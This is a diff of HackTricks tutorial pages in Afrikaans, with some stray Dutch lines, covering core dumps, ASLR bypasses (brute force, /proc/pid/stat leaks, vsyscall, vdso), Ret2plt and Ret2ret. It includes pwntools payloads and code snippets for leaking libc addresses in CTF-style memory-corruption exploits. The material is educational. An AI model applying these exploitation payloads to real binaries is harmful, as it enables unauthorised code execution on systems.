Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Algemene Binêre Uitbuitingsbeskerming en Oorskrydings
{% hint style="success" %}
Leer en oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Skakel Kernlêers in
@ -20,34 +21,35 @@ Ander maniere om HackTricks te ondersteun:
### **Aktivering van Kernlêer-generering**
Standaard beperk baie stelsels die grootte van kernlêers tot 0 (dit wil sê, hulle genereer nie kernlêers nie) om diskrus te spaar. Om die generering van kernlêers te aktiveer, kan jy die **`ulimit`**-bevel gebruik (in bash of soortgelyke skille) of stelselwye instellings konfigureer.
Standaard beperk baie stelsels die grootte van kernlêers tot 0 (dit wil sê, hulle genereer nie kernlêers nie) om diskrus te spaar. Om die generering van kernlêers te aktiveer, kan jy die **`ulimit`**-bevel gebruik (in bash of soortgelyke skulpe) of stelselwye instellings konfigureer.
* **Deur ulimit te gebruik**: Die bevel `ulimit -c unlimited` laat die huidige skelsessie toe om kernlêers met onbeperkte grootte te skep. Dit is nuttig vir foutopsporingssessies, maar is nie volhoubaar oor herlaai of nuwe sessies nie.
```bash
ulimit -c unlimited
```
* **Volgehoue Konfigurasie**: Vir 'n meer permanente oplossing, kan jy die `/etc/security/limits.conf` lêer wysig om 'n lyn soos `* sag kern onbeperk` in te sluit, wat alle gebruikers toelaat om onbeperkte grootte kern lêers te genereer sonder om ulimit handmatig in hul sessies te stel.
* **Volgehoue Konfigurasie**: Vir 'n meer permanente oplossing, kan jy die `/etc/security/limits.conf` lêer wysig om 'n lyn soos `* sag kern onbeperk` in te sluit, wat alle gebruikers toelaat om onbeperkte grootte kern lêers te genereer sonder om ulimit handmatig in hul sessies in te stel.
```markdown
* soft core unlimited
```
### **Ontleding van Kernlêers met GDB**
Om 'n kernlêer te ontleed, kan jy gebruik maak van ontleedingshulpmiddels soos GDB (die GNU Ontleedingshulpmiddel). As ons aanneem dat jy 'n uitvoerbare lêer het wat 'n kernafvoer geproduseer het en die kernlêer is genoem `core_file`, kan jy die ontleding begin met:
Om 'n kernlêer te ontleed, kan jy gebruik maak van ontleedingshulpmiddels soos GDB (die GNU Ontleedprogram). As ons aanneem dat jy 'n uitvoerbare lêer het wat 'n kernafvoer geproduseer het en die kernlêer is genoem `core_file`, kan jy die ontleding begin met:
```bash
gdb /path/to/executable /path/to/core_file
```
Hierdie bevel laai die uitvoerbare lêer en die kernlêer in GDB, wat jou in staat stel om die toestand van die program te ondersoek op die tydstip van die botsing. Jy kan GDB-opdragte gebruik om die stok te verken, veranderlikes te ondersoek, en die oorsaak van die botsing te verstaan.
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# ASLR
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting
**Address Space Layout Randomization (ASLR)** is 'n sekuriteitstegniek wat in bedryfstelsels gebruik word om die **geheue-adresse** wat deur stelsel- en aansoekprosesse gebruik word, te **verrandomiseer**. Deur dit te doen, maak dit dit aansienlik moeiliker vir 'n aanvaller om die ligging van spesifieke prosesse en data, soos die stok, hoop, en biblioteke, te voorspel, en sodoende sekere tipes aanvalle, veral buffer-oorvloei, te verminder.
**Address Space Layout Randomization (ASLR)** is 'n sekuriteitstegniek wat in bedryfstelsels gebruik word om die **geheue-adresse te randomiseer** wat deur stelsel- en toepassingsprosesse gebruik word. Hierdeur word dit aansienlik moeiliker vir 'n aanvaller om die ligging van spesifieke prosesse en data, soos die stok, hoop, en biblioteke, te voorspel, wat sekere tipes aanvalle, veral buffer-oorvloeiings, verminder.
### **ASLR-status Kontroleer**
### **Kontroleer ASLR-status**
Om die ASLR-status op 'n Linux-stelsel te **kontroleer**, kan jy die waarde uit die **`/proc/sys/kernel/randomize_va_space`** lêer lees. Die waarde wat in hierdie lêer gestoor word, bepaal die tipe ASLR wat toegepas word:
* **0**: Geen verrandomisering. Alles is staties.
* **1**: Konservatiewe verrandomisering. Gedeelde biblioteke, stok, mmap(), VDSO-bladsy word verrandomiseer.
* **2**: Volledige verrandomisering. Bo en behalwe elemente wat deur konservatiewe verrandomisering verrandomiseer word, word geheue wat deur `brk()` bestuur word, verrandomiseer.
* **0**: Geen randomisering nie. Alles is staties.
* **1**: Konservatiewe randomisering. Gedeelde biblioteke, stok, mmap(), VDSO-bladsy word gerandomiseer.
* **2**: Volledige randomisering. Bo en behalwe elemente wat deur konservatiewe randomisering gerandomiseer word, word geheue wat deur `brk()` bestuur word, gerandomiseer.
Jy kan die ASLR-status kontroleer met die volgende bevel:
```bash
@ -32,7 +33,7 @@ cat /proc/sys/kernel/randomize_va_space
```
### **Deaktivering van ASLR**
Om ASLR te **deaktiveer**, stel jy die waarde van `/proc/sys/kernel/randomize_va_space` in op **0**. Die deaktivering van ASLR word gewoonlik nie aanbeveel buite toets- of foutopsporingscenarios nie. Hier is hoe jy dit kan deaktiveer:
Om ASLR te **deaktiveer**, stel jy die waarde van `/proc/sys/kernel/randomize_va_space` in op **0**. Die deaktivering van ASLR word gewoonlik nie aanbeveel buite toets- of foutopsporingssituasies nie. Hier is hoe jy dit kan deaktiveer:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
@ -61,36 +62,36 @@ sudo sysctl -p
```
Dit sal verseker dat jou ASLR-instellings behoue bly oor herlaai.
## **Oorbruggings**
## **Oorskrydings**
### 32-bit brutaal krag
### 32-bit bruto-krag
PaX verdeel die proses-adresruimte in **3 groepe**:
* **Kode en data** (geïnisialiseer en ongeïnisialiseer): `.text`, `.data`, en `.bss` —> **16 bits** van entropie in die `delta_exec` veranderlike. Hierdie veranderlike word lukraak geïnisialiseer met elke proses en by die aanvanklike adresse gevoeg.
* **Geheue** toegewys deur `mmap()` en **gedeelde biblioteke** —> **16 bits**, genoem `delta_mmap`.
* **Die stok** —> **24 bits**, verwys na as `delta_stack`. Dit maak egter effektief gebruik van **11 bits** (vanaf die 10de tot die 20ste byte insluitend), uitgelyn op **16 byte** —> Dit lei tot **524,288 moontlike werklike stokadresse**.
* **Geheue** toegewys deur `mmap()` en **gedeelde biblioteke** —> **16 bits**, genaamd `delta_mmap`.
* **Die stok** —> **24 bits**, verwys as `delta_stack`. Dit maak egter effektief gebruik van **11 bits** (vanaf die 10de tot die 20ste byte insluitend), belyn tot **16 byte** —> Dit lei tot **524,288 moontlike werklike stokadresse**.
Die vorige data is vir 32-bietestelsels en die verminderde finale entropie maak dit moontlik om ASLR te omseil deur die uitvoering herhaaldelik te probeer totdat die aanval suksesvol voltooi is.
#### Brutaal-krag idees:
#### Bruto-krag idees:
* As jy 'n groot genoeg oorloop het om 'n **groot NOP-glybaan voor die skelkode** te bevat, kan jy net adresse in die stok brutaal krag totdat die vloei **oor 'n deel van die NOP-glybaan spring**.
* As jy 'n groot genoeg oorloop het om 'n **groot NOP-glybaan voor die skelkode** te akkommodeer, kan jy net adresse in die stok bruto-krag totdat die vloei **oor 'n deel van die NOP-glybaan spring**.
* 'n Ander opsie hiervoor in geval die oorloop nie so groot is nie en die aanval plaaslik uitgevoer kan word, is dit moontlik om die NOP-glybaan en skelkode in 'n omgewingsveranderlike by te voeg.
* As die aanval plaaslik is, kan jy probeer om die basisadres van libc brutaal krag (nuttig vir 32-bietestelsels):
* As die aanval plaaslik is, kan jy die basisadres van libc bruto-krag. (nuttig vir 32-bietestelsels):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Indien jy 'n afgeleë bediener aanval, kan jy probeer om die adres van die `libc`-funksie `usleep` met **brute force** te vind, deur 10 as argument te gee. As die bediener op 'n sekere punt **10 sekondes langer neem om te reageer**, het jy die adres van hierdie funksie gevind.
* Indien jy 'n afgeleë bediener aanval, kan jy probeer om die adres van die `libc`-funksie `usleep` met **brute force** te vind, deur 10 as argument te gee. As die bediener op 'n stadium **10 sekondes langer neem om te reageer**, het jy die adres van hierdie funksie gevind.
{% hint style="success" %}
Op 64-bits stelsels is die entropie baie hoër en dit behoort nie moontlik te wees nie.
{% endhint %}
### 64-bits stapel-brute force
### 64-bits stapel brute force
Dit is moontlik om 'n groot deel van die stapel met omgewingsveranderlikes te beset en dan die binêre honderde/duisende kere plaaslik te misbruik om dit uit te buit.\
Die volgende kode wys hoe dit moontlik is om **net 'n adres in die stapel te kies** en elke **paar honderde uitvoerings** sal daardie adres die **NOP-instruksie** bevat:
Dit is moontlik om 'n groot deel van die stapel met omgewingsveranderlikes te beset en dan die binêre honderde/duisende kere plaaslik te misbruik om dit te benut.\
Die volgende kode wys hoe dit moontlik is om **net 'n adres in die stapel** te kies en elke **paar honderde uitvoerings** sal daardie adres die **NOP-instruksie** bevat:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
@ -162,22 +163,22 @@ Die lêer **`/proc/[pid]/stat`** van 'n proses is altyd leesbaar vir almal en di
- **startcode** & **endcode**: Adresse bokant en onder met die **TEKS** van die binêre
- **startstack**: Die adres van die begin van die **stapel**
- **start\_data** & **end\_data**: Adresse bokant en onder waar die **BSS** is
- **start\_data** & **end\_data**: Adresses bokant en onder waar die **BSS** is
- **kstkesp** & **kstkeip**: Huidige **ESP** en **EIP** adresse
- **arg\_start** & **arg\_end**: Adresse bokant en onder waar **cli-argumente** is.
- **env\_start** & **env\_end**: Adresse bokant en onder waar **omgewingsveranderlikes** is.
- **arg\_start** & **arg\_end**: Adresses bokant en onder waar **cli-argumente** is.
- **env\_start** & **env\_end**: Adresses bokant en onder waar **omgewingsveranderlikes** is.
Daarom, as die aanvaller op dieselfde rekenaar as die binêre is wat uitgebuit word en hierdie binêre nie die oorvloei van rou argumente verwag nie, maar van 'n ander **inskrywing wat na die lees van hierdie lêer gekonstrueer kan word**. Dit is moontlik vir 'n aanvaller om **sekere adresse uit hierdie lêer te kry en vanuit hulle verskuiwings vir die uitbuiting te konstrueer**.
Daarom, as die aanvaller op dieselfde rekenaar as die binêre wat uitgebuit word is en hierdie binêre nie die oorvloei van rou argumente verwag nie, maar van 'n ander **inskrywing wat gekonstrueer kan word na die lees van hierdie lêer**. Dit is moontlik vir 'n aanvaller om **sekere adresse uit hierdie lêer te kry en verskuiwings daarvan te konstrueer vir die uitbuiting**.
{% hint style="success" %}
Vir meer inligting oor hierdie lêer, kyk na [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) deur te soek na `/proc/pid/stat`
Vir meer inligting oor hierdie lêer, besoek [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) en soek vir `/proc/pid/stat`
{% endhint %}
### 'n Lek hê
- **Die uitdaging is om 'n lek te hê**
As jy 'n lek gegee word (maklike CTF-uitdagings), kan jy verskuiwings daarvan bereken (onder die aanname byvoorbeeld dat jy die presiese libc-weergawe ken wat in die stelsel wat jy uitbuit, gebruik word). Hierdie voorbeeld-uitbuiting is onttrek uit die [**voorbeeld van hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (kyk daardie bladsy vir meer besonderhede):
As jy 'n lek gekry het (maklike CTF-uitdagings), kan jy verskuiwings daarvan bereken (onder die aanname byvoorbeeld dat jy die presiese libc-weergawe ken wat in die stelsel wat jy uitbuit, gebruik word). Hierdie voorbeeld-uitbuiting is onttrek uit die [**voorbeeld van hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (kyk na daardie bladsy vir meer besonderhede):
```python
from pwn import *
@ -225,12 +226,12 @@ payload += p32(elf.symbols['main'])
```
### vsyscall
Die **`vsyscall`** meganisme dien om prestasie te verbeter deur sekere stelseloproepe in gebruikerspas uit te voer, alhoewel hulle fundamenteel deel van die kernel is. Die kritieke voordeel van **vsyscalls** lê in hul **vaste adresse**, wat nie aan **ASLR** (Address Space Layout Randomization) onderwerp is nie. Hierdie vaste aard beteken dat aanvallers nie 'n inligtingslek kwesbaarheid benodig om hul adresse te bepaal en hulle in 'n aanval te gebruik nie.\
Geen super interessante gadgets sal hier gevind word nie (alhoewel dit byvoorbeeld moontlik is om 'n `ret;` ekwivalent te kry)
Die **`vsyscall`** meganisme dien om prestasie te verbeter deur sekere stelseloproepe in gebruikerspas te laat uitvoer, alhoewel hulle fundamenteel deel van die kernel is. Die kritieke voordeel van **vsyscalls** lê in hul **vaste adresse**, wat nie onderhewig is aan **ASLR** (Address Space Layout Randomization) nie. Hierdie vaste aard beteken dat aanvallers nie 'n inligtingslek kwesbaarheid benodig om hul adresse te bepaal en hulle in 'n aanval te gebruik nie.\
Geen super interessante gadgets sal hier gevind word nie (hoewel dit byvoorbeeld moontlik is om 'n `ret;`-ekwivalent te kry)
(Die volgende voorbeeld en kode is [**van hierdie skryfstuk**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
Byvoorbeeld, 'n aanvaller kan die adres `0xffffffffff600800` binne 'n aanval gebruik. Terwyl 'n poging om direk na 'n `ret` instruksie te spring tot onstabiliteit of afsluitings kan lei na die uitvoering van 'n paar gadgets, kan dit suksesvol wees om na die begin van 'n `syscall` te spring wat deur die **vsyscall** afdeling voorsien word. Deur sorgvuldig 'n **ROP** gadget te plaas wat uitvoering na hierdie **vsyscall** adres lei, kan 'n aanvaller kode-uitvoering bereik sonder om **ASLR** vir hierdie deel van die aanval te moet omseil.
Byvoorbeeld, 'n aanvaller kan die adres `0xffffffffff600800` binne 'n aanval gebruik. Terwyl 'n poging om direk na 'n `ret` instruksie te spring moontlik tot onstabiliteit of afsluitings kan lei na die uitvoering van 'n paar gadgets, kan dit suksesvol wees om na die begin van 'n `syscall` te spring wat deur die **vsyscall**-afdeling voorsien word. Deur sorgvuldig 'n **ROP** gadget te plaas wat uitvoering na hierdie **vsyscall**-adres lei, kan 'n aanvaller kode-uitvoering bereik sonder om **ASLR** vir hierdie deel van die aanval te moet omseil.
```
ef➤ vmmap
Start End Offset Perm Path
@ -278,17 +279,3 @@ Let dus daarop hoe dit moontlik kan wees om **ASLR te omseil deur die vdso te mi
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
{% endcontent-ref %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -1,22 +1,23 @@
# Ret2plt
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hackingtruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
Die doel van hierdie tegniek sou wees om **'n adres van 'n funksie van die PLT te lek** om ASLR te kan omseil. Dit is omdat as jy byvoorbeeld die adres van die funksie `puts` van die libc lek, kan jy dan **bereken waar die basis van `libc` is** en afsette bereken om ander funksies soos **`system`** te kan benader.
Die doel van hierdie tegniek sou wees om **'n adres van 'n funksie van die PLT te lek** om ASLR te kan omseil. Dit is omdat as jy byvoorbeeld die adres van die funksie `puts` van die libc lek, kan jy dan **bereken waar die basis van `libc` is** en afsette bereken om ander funksies soos **`system`** te kan bereik.
Dit kan gedoen word met 'n `pwntools` lading soos ([**van hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python
@ -37,12 +38,12 @@ elf.plt['puts'],
elf.symbols['main']
)
```
Merk op hoe **`puts`** (met die adres van die PLT) geroep word met die adres van `puts` wat in die GOT (Global Offset Table) geleë is. Dit is omdat teen die tyd dat `puts` die GOT-inskrywing van puts druk, sal hierdie **inskrywing die presiese adres van `puts` in die geheue bevat**.
Merk op hoe **`puts`** (met behulp van die adres van die PLT) geroep word met die adres van `puts` wat in die GOT (Global Offset Table) geleë is. Dit is omdat teen die tyd dat `puts` die GOT-inskrywing van puts druk, hierdie **inskrywing die presiese adres van `puts` in die geheue sal bevat**.
Merk ook op hoe die adres van `main` in die aanval gebruik word sodat wanneer `puts` sy uitvoering beëindig, die **binêre `main` weer roep in plaas van om af te sluit** (sodat die uitgelekte adres geldig bly).
Merk ook op hoe die adres van `main` in die aanval gebruik word sodat wanneer `puts` sy uitvoering voltooi, die **binêre kode `main` weer roep in plaas van om af te sluit** (sodat die uitgelekte adres geldig bly).
{% hint style="danger" %}
Merk op hoe om hierdie te laat werk, die **binêre nie met PIE saamgestel kan word nie** of jy moet 'n **lek gevind het om PIE te omseil** om die adres van die PLT, GOT en main te weet. Anders moet jy eers PIE omseil.
Merk op hoe dit nodig is dat die **binêre kode nie met PIE saamgestel word nie** of jy moet 'n **lek gevind het om PIE te omseil** om die adres van die PLT, GOT en main te weet. Anders moet jy eers PIE omseil.
{% endhint %}
Jy kan 'n [**volledige voorbeeld van hierdie omseiling hier vind**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Dit was die finale aanval van daardie **voorbeeld**:

View file

@ -1,57 +1,59 @@
# Ret2ret & Reo2pop
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Ret2ret
Die hoof **doel** van hierdie tegniek is om te probeer **ASLR te omseil deur 'n bestaande aanwyser in die stok te misbruik**.
Oor die algemeen word stok-oorvloeiings gewoonlik veroorsaak deur strings, en **strings eindig met 'n nulbyte aan die einde** in die geheue. Dit maak dit moontlik om die plek wat deur 'n bestaande aanwyser in die stok aangedui word, te probeer verminder. As die stok byvoorbeeld `0xbfffffdd` bevat, kan hierdie oorvloeiing dit omskep na `0xbfffff00` (let op die laaste genulbyte).
